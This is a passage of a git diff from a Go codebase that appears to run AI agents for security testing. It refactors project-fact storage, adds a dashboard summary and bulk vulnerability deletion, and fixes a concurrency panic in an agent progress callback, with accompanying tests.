@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE id = ?`, id,
 	)
 	return scanProjectFactRow(row)
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 		if strings.TrimSpace(f.Confidence) == "" {
 			f.Confidence = existing.Confidence
 		}
-		if projectFactContentChanged(existing, f) {
-			versionID, verr := db.InsertProjectFactVersion(existing)
-			if verr != nil {
-				return nil, verr
-			}
-			f.SupersedesFactID = versionID
-		} else if f.SupersedesFactID == "" {
-			f.SupersedesFactID = existing.SupersedesFactID
-		}
 		_, err = db.Exec(
 			`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
 				source_conversation_id = COALESCE(?, source_conversation_id),
 				source_message_id = COALESCE(?, source_message_id),
-				pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
+				pinned = ?, related_vulnerability_id = ?, updated_at = ?
 			 WHERE id = ?`,
 			f.Category, f.Summary, f.Body, f.Confidence,
 			nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-			nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
+			nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
 		)
 		if err != nil {
 			return nil, fmt.Errorf("更新事实失败: %w", err)
@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
 	_, err = db.Exec(
 		`INSERT INTO project_facts (
 			id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
+			source_conversation_id, source_message_id, pinned, related_vulnerability_id,
 			created_at, updated_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
 		f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
 		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
+		nullIfEmpty(f.RelatedVulnerabilityID),
 		f.CreatedAt, f.UpdatedAt,
 	)
 	if err != nil {
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
 	err := row.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		if err == sql.ErrNoRows {
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
 	err := rows.Scan(
 		&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
 		&f.SourceConversationID, &f.SourceMessageID, &pinned,
-		&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
+		&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
 	)
 	if err != nil {
 		return nil, err

internal/database/project_dashboard.go

@@ -0,0 +1,91 @@
+package database
+
+import (
+	"fmt"
+	"strings"
+	"time"
+)
+
+// ProjectDashboardFact 仪表盘跨项目近期事实条目。
+type ProjectDashboardFact struct {
+	ID          string    `json:"id"`
+	ProjectID   string    `json:"project_id"`
+	ProjectName string    `json:"project_name"`
+	FactKey     string    `json:"fact_key"`
+	Category    string    `json:"category"`
+	Summary     string    `json:"summary"`
+	Confidence  string    `json:"confidence"`
+	Pinned      bool      `json:"pinned"`
+	UpdatedAt   time.Time `json:"updated_at"`
+}
+
+// ProjectDashboardTotals 仪表盘项目事实汇总计数。
+type ProjectDashboardTotals struct {
+	ActiveProjects int `json:"active_projects"`
+	TotalFacts     int `json:"total_facts"`
+}
+
+// ProjectDashboardSummary 仪表盘项目情报摘要。
+type ProjectDashboardSummary struct {
+	RecentFacts []ProjectDashboardFact `json:"recent_facts"`
+	Totals      ProjectDashboardTotals `json:"totals"`
+}
+
+// GetProjectDashboardSummary 聚合跨项目近期事实（仅活跃项目、排除 deprecated）。
+func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
+	if factLimit <= 0 {
+		factLimit = 5
+	}
+	if factLimit > 50 {
+		factLimit = 50
+	}
+
+	out := &ProjectDashboardSummary{
+		RecentFacts: []ProjectDashboardFact{},
+	}
+
+	if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
+		return nil, fmt.Errorf("统计活跃项目失败: %w", err)
+	}
+	if err := db.QueryRow(
+		`SELECT COUNT(*) FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
+	).Scan(&out.Totals.TotalFacts); err != nil {
+		return nil, fmt.Errorf("统计事实失败: %w", err)
+	}
+
+	rows, err := db.Query(
+		`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
+		 FROM project_facts f
+		 INNER JOIN projects p ON p.id = f.project_id
+		 WHERE f.confidence != 'deprecated' AND p.status = 'active'
+		 ORDER BY f.pinned DESC, f.updated_at DESC
+		 LIMIT ?`,
+		factLimit,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询近期事实失败: %w", err)
+	}
+	defer rows.Close()
+
+	for rows.Next() {
+		var item ProjectDashboardFact
+		var pinned int
+		var updatedAt string
+		if err := rows.Scan(
+			&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
+			&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
+		); err != nil {
+			return nil, err
+		}
+		item.Pinned = pinned != 0
+		item.ProjectName = strings.TrimSpace(item.ProjectName)
+		item.UpdatedAt = parseDBTime(updatedAt)
+		out.RecentFacts = append(out.RecentFacts, item)
+	}
+	if err := rows.Err(); err != nil {
+		return nil, err
+	}
+	return out, nil
+}

internal/database/project_fact_upsert_test.go

@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
 	}
 }
 
-func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
-	dbPath := filepath.Join(t.TempDir(), "facts.db")
-	db, err := NewDB(dbPath, zap.NewNop())
-	if err != nil {
-		t.Fatal(err)
-	}
-	defer db.Close()
-
-	proj, err := db.CreateProject(&Project{Name: "version-test"})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	created, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Category:  "finding",
-		Summary:   "v1",
-		Body:      "body v1",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if created.SupersedesFactID != "" {
-		t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
-	}
-
-	updated, err := db.UpsertProjectFact(&ProjectFact{
-		ProjectID: proj.ID,
-		FactKey:   "finding/xss",
-		Summary:   "v2",
-		Body:      "body v2",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if updated.SupersedesFactID == "" {
-		t.Fatal("expected supersedes_fact_id after content change")
-	}
-	prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if prev.Summary != "v1" || prev.Body != "body v1" {
-		t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
-	}
-}
-
 func TestMergeFactBodyOnUpdate(t *testing.T) {
 	if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
 		t.Fatalf("empty incoming: got %q", got)

internal/database/project_fact_version.go

@@ -1,144 +0,0 @@
-package database
-
-import (
-	"database/sql"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/google/uuid"
-)
-
-// ProjectFactVersion 事实历史快照（同 fact_key 更新前归档）。
-type ProjectFactVersion struct {
-	ID                     string    `json:"id"`
-	FactID                 string    `json:"fact_id"`
-	ProjectID              string    `json:"project_id"`
-	FactKey                string    `json:"fact_key"`
-	Category               string    `json:"category"`
-	Summary                string    `json:"summary"`
-	Body                   string    `json:"body"`
-	Confidence             string    `json:"confidence"`
-	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
-	SourceMessageID        string    `json:"source_message_id,omitempty"`
-	Pinned                 bool      `json:"pinned"`
-	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
-	ArchivedAt             time.Time `json:"archived_at"`
-}
-
-// InsertProjectFactVersion 将当前事实行快照写入版本表。
-func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
-	if f == nil || f.ID == "" {
-		return "", fmt.Errorf("无效的事实记录")
-	}
-	id := uuid.New().String()
-	now := time.Now()
-	_, err := db.Exec(
-		`INSERT INTO project_fact_versions (
-			id, fact_id, project_id, fact_key, category, summary, body, confidence,
-			source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
-		id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
-		nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
-		nullIfEmpty(f.RelatedVulnerabilityID), now,
-	)
-	if err != nil {
-		return "", fmt.Errorf("归档事实版本失败: %w", err)
-	}
-	return id, nil
-}
-
-// GetProjectFactVersion 按版本 ID 获取快照。
-func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
-	row := db.QueryRow(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE id = ?`, versionID,
-	)
-	return scanProjectFactVersionRow(row)
-}
-
-// ListProjectFactVersions 列出某条事实的全部历史版本（新→旧）。
-func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
-	if limit <= 0 {
-		limit = 20
-	}
-	rows, err := db.Query(
-		`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
-			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(related_vulnerability_id,''), archived_at
-		 FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
-		factID, limit,
-	)
-	if err != nil {
-		return nil, err
-	}
-	defer rows.Close()
-	var out []*ProjectFactVersion
-	for rows.Next() {
-		v, err := scanProjectFactVersionFromRows(rows)
-		if err != nil {
-			return nil, err
-		}
-		out = append(out, v)
-	}
-	return out, rows.Err()
-}
-
-func projectFactContentChanged(existing, incoming *ProjectFact) bool {
-	if existing == nil || incoming == nil {
-		return false
-	}
-	mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
-	inCat := stringsTrimDefault(incoming.Category, existing.Category)
-	inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
-	return existing.Summary != incoming.Summary ||
-		existing.Body != mergedBody ||
-		existing.Category != inCat ||
-		existing.Confidence != inConf
-}
-
-func stringsTrimDefault(s, fallback string) string {
-	if strings.TrimSpace(s) == "" {
-		return fallback
-	}
-	return strings.TrimSpace(s)
-}
-
-func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := row.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		if err == sql.ErrNoRows {
-			return nil, fmt.Errorf("事实版本不存在")
-		}
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}
-
-func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := rows.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}

internal/database/project_time_test.go

@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
 	if err != nil {
 		t.Fatal(err)
 	}
-	projects, err := db.ListProjects("", 1, 0)
+	projects, err := db.ListProjects("", "", 1, 0)
 	if err != nil || len(projects) == 0 {
 		t.Skip("no projects")
 	}

internal/database/sqltime.go

@@ -0,0 +1,33 @@
+package database
+
+import (
+	"errors"
+	"strings"
+	"time"
+)
+
+// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
+func formatSQLiteUTC(t time.Time) string {
+	return t.UTC().Format(time.RFC3339Nano)
+}
+
+// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
+func sqliteEpochGE(column, op string) string {
+	return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
+}
+
+// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
+func ParseRFC3339Time(value string) (time.Time, error) {
+	value = strings.TrimSpace(value)
+	if value == "" {
+		return time.Time{}, errors.New("empty time value")
+	}
+	if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
+		return t.UTC(), nil
+	}
+	t, err := time.Parse(time.RFC3339, value)
+	if err != nil {
+		return time.Time{}, err
+	}
+	return t.UTC(), nil
+}

internal/database/vulnerability.go

@@ -98,7 +98,7 @@ type Vulnerability struct {
 	Title           string    `json:"title"`
 	Description     string    `json:"description"`
 	Severity        string    `json:"severity"` // critical, high, medium, low, info
-	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive
+	Status          string    `json:"status"`   // open, confirmed, fixed, false_positive, ignored
 	Type            string    `json:"type"`
 	Target          string    `json:"target"`
 	Proof           string    `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 
 	_, err := db.Exec(
 		query,
-		vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
+		vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
 		vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
 		vuln.Proof, vuln.Impact, vuln.Recommendation,
 		vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
 func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 	var vuln Vulnerability
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
 		       conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
 // ListVulnerabilities 列出漏洞
 func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
 	query := `
-		SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
+		SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
 		       vulnerability_type, target, proof, impact, recommendation,
 		       COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
 		       COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -263,6 +263,39 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
 	return nil
 }
 
+// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞，返回实际删除条数
+func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
+	tx, err := db.Begin()
+	if err != nil {
+		return 0, fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	where := "WHERE 1=1"
+	args := []interface{}{}
+	where, args = filter.appendWhere(where, args)
+
+	clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
+		WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
+	if _, err := tx.Exec(clearQuery, args...); err != nil {
+		return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
+	}
+
+	deleteQuery := `DELETE FROM vulnerabilities ` + where
+	result, err := tx.Exec(deleteQuery, args...)
+	if err != nil {
+		return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
+	}
+	deleted, err := result.RowsAffected()
+	if err != nil {
+		return 0, fmt.Errorf("获取删除条数失败: %w", err)
+	}
+	if err := tx.Commit(); err != nil {
+		return 0, fmt.Errorf("提交事务失败: %w", err)
+	}
+	return deleted, nil
+}
+
 // DeleteVulnerability 删除漏洞
 func (db *DB) DeleteVulnerability(id string) error {
 	tx, err := db.Begin()
@@ -370,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
 	if err != nil {
 		return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
 	}
-	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
+	conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
 	if err != nil {
 		return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
 	}

internal/einomcp/mcp_tools.go

@@ -16,7 +16,8 @@ import (
 )
 
 // ExecutionRecorder 可选，在 MCP 工具成功返回且带有 execution id 时回调（用于汇总 mcpExecutionIds）。
-type ExecutionRecorder func(executionID string)
+// toolCallID 来自 Eino compose.GetToolCallID，用于与 reduction 后的展示结果关联。
+type ExecutionRecorder func(executionID, toolCallID string)
 
 // ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
 // Eino 工具通道目前只支持返回字符串，因此通过前缀标识，随后在多代理 runner 中解析为 success/isError。
@@ -178,7 +179,7 @@ func runMCPToolInvocation(
 		return "", nil
 	}
 	if res.ExecutionID != "" && record != nil {
-		record(res.ExecutionID)
+		record(res.ExecutionID, compose.GetToolCallID(ctx))
 	}
 	if res.IsError {
 		return ToolErrorPrefix + res.Result, nil

internal/einomcp/tool_invoke_notify.go

@@ -2,8 +2,8 @@ package einomcp
 
 import "sync"
 
-// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调；MCP 桥在每次 InvokableRun 结束时 Fire，
-// 用于在 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending，避免 UI 卡在「执行中」或迭代末 force-close。
+// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调；MCP/execute 桥在工具调用结束时 Fire，
+// 用于清除 pending tool_call（tool_result 由 ADK schema.Tool 事件推送，含流式工具与 reduction 后正文）。
 type ToolInvokeNotifyHolder struct {
 	mu sync.RWMutex
 	fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)

internal/handler/agent.go

@@ -101,7 +101,40 @@ func sameResponseStreamMeta(a, b map[string]interface{}) bool {
 	}
 	orchA, _ := a["orchestration"].(string)
 	orchB, _ := b["orchestration"].(string)
-	return strings.TrimSpace(orchA) == strings.TrimSpace(orchB)
+	if strings.TrimSpace(orchA) != strings.TrimSpace(orchB) {
+		return false
+	}
+	iterA := responseStreamIterationFromMeta(a)
+	iterB := responseStreamIterationFromMeta(b)
+	if iterA != 0 && iterB != 0 && iterA != iterB {
+		return false
+	}
+	streamA, _ := a["streamId"].(string)
+	streamB, _ := b["streamId"].(string)
+	streamA = strings.TrimSpace(streamA)
+	streamB = strings.TrimSpace(streamB)
+	if streamA != "" && streamB != "" && streamA != streamB {
+		return false
+	}
+	return true
+}
+
+func responseStreamIterationFromMeta(m map[string]interface{}) int {
+	if m == nil {
+		return 0
+	}
+	switch v := m["iteration"].(type) {
+	case int:
+		return v
+	case int32:
+		return int(v)
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	default:
+		return 0
+	}
 }
 
 func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) {
@@ -604,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
+			conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(
@@ -640,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
 	var resultMA *multiagent.RunResult
 	var errMA error
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	for {
 		resultMA, errMA = multiagent.RunDeepAgent(
 			taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
-			conversationID, curMsg, curHist, roleTools, progressCallback,
+			conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback,
 			h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
 		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
+			&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			errMA = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
 		if errMA == nil {
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			break
 		}
 		if handled, _ := h.handleEinoTransientRetryContinue(
@@ -830,6 +889,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	seenToolCallSigs := make(map[string]string)      // toolCallId -> payload signature
 	seenToolResultSigs := make(map[string]string)    // toolCallId -> payload signature
 
+	// progressMu 保护闭包内 map 与聚合状态。Eino parallelRunToolCall 会在多 goroutine 中并发回调
+	// progress（ToolInvokeNotifyHolder.Fire → createProgressCallback），未加锁的 map 会触发 fatal panic。
+	var progressMu sync.Mutex
+
 	// response_start + response_delta：前端时间线显示为「📝 规划中」（monitor.js），不落逐条 delta；
 	// 聚合为一条 planning 写入 process_details，刷新后与线上一致。
 	var respPlan responsePlanAgg
@@ -891,6 +954,9 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	}
 
 	return func(eventType, message string, data interface{}) {
+		progressMu.Lock()
+		defer progressMu.Unlock()
+
 		// 上游在重试/补偿时可能重复回调相同 tool_call/tool_result。
 		// 这里做幂等过滤，保证前端展示和 process_details 都以唯一事件为准。
 		if (eventType == "tool_call" || eventType == "tool_result") && data != nil {
@@ -1119,6 +1185,8 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 				}
 			}
 			flushResponsePlan()
+			// 助手正文开始前，推理流通常已结束；落库以便刷新后「渗透测试详情」可回放
+			flushThinkingStreams()
 			respPlan.meta = nil
 			if dataMap, ok := data.(map[string]interface{}); ok {
 				respPlan.meta = make(map[string]interface{}, len(dataMap))
@@ -1154,6 +1222,19 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 		}
 		if eventType == "response" {
 			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+		if eventType == "done" {
+			flushResponsePlan()
+			flushThinkingStreams()
+			return
+		}
+
+		// 流式思考/推理结束：聚合落库（与 eino_agent_reply_stream_end 同理）
+		if eventType == "thinking_stream_end" || eventType == "reasoning_chain_stream_end" {
+			flushResponsePlan()
+			flushThinkingStreams()
 			return
 		}
 
@@ -2152,12 +2233,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
 			var runErr error
 			switch {
 			case useBatchMulti:
-				resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
+				resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
 			default:
 				if h.config == nil {
 					runErr = fmt.Errorf("服务器配置未加载")
 				} else {
-					resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
+					resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
 				}
 			}
 

internal/handler/agent_progress_callback_test.go

@@ -0,0 +1,99 @@
+package handler
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sync"
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/openai"
+
+	"go.uber.org/zap"
+)
+
+// TestCreateProgressCallback_ConcurrentToolEvents 回归 issue #142：并行 tool 回调不得 concurrent map panic。
+func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
+	logger := zap.NewNop()
+	h := &AgentHandler{
+		logger: logger,
+		config: &config.Config{},
+	}
+	cb := h.createProgressCallback(context.Background(), nil, "conv-race-test", "", nil)
+
+	const workers = 64
+	var wg sync.WaitGroup
+	wg.Add(workers * 2)
+	for i := 0; i < workers; i++ {
+		i := i
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_call", "calling skill", map[string]interface{}{
+				"toolCallId":   toolCallID,
+				"toolName":     "skill",
+				"argumentsObj": map[string]interface{}{"skill_name": "demo-skill"},
+			})
+		}()
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_result", "skill done", map[string]interface{}{
+				"toolCallId": toolCallID,
+				"toolName":   "skill",
+				"success":    true,
+			})
+		}()
+	}
+	wg.Wait()
+}
+
+// TestCreateProgressCallback_FlushesReasoningOnDone 流式推理聚合须在 done/response 时落库，刷新后可回放。
+func TestCreateProgressCallback_FlushesReasoningOnDone(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer os.RemoveAll(tmp)
+
+	conv, err := db.CreateConversation("test", database.ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	asst, err := db.AddMessage(conv.ID, "assistant", "处理中...", nil)
+	if err != nil {
+		t.Fatalf("AddMessage: %v", err)
+	}
+
+	h := &AgentHandler{logger: zap.NewNop(), db: db}
+	cb := h.createProgressCallback(context.Background(), nil, conv.ID, asst.ID, nil)
+
+	streamID := "eino-reasoning-test-1"
+	cb("reasoning_chain_stream_start", " ", map[string]interface{}{
+		"streamId": streamID,
+		"source":   "eino",
+	})
+	cb("reasoning_chain_stream_delta", "step one", openai.WithSSEAccumulated(map[string]interface{}{
+		"streamId": streamID,
+	}, "step one"))
+	cb("done", "", map[string]interface{}{"conversationId": conv.ID})
+
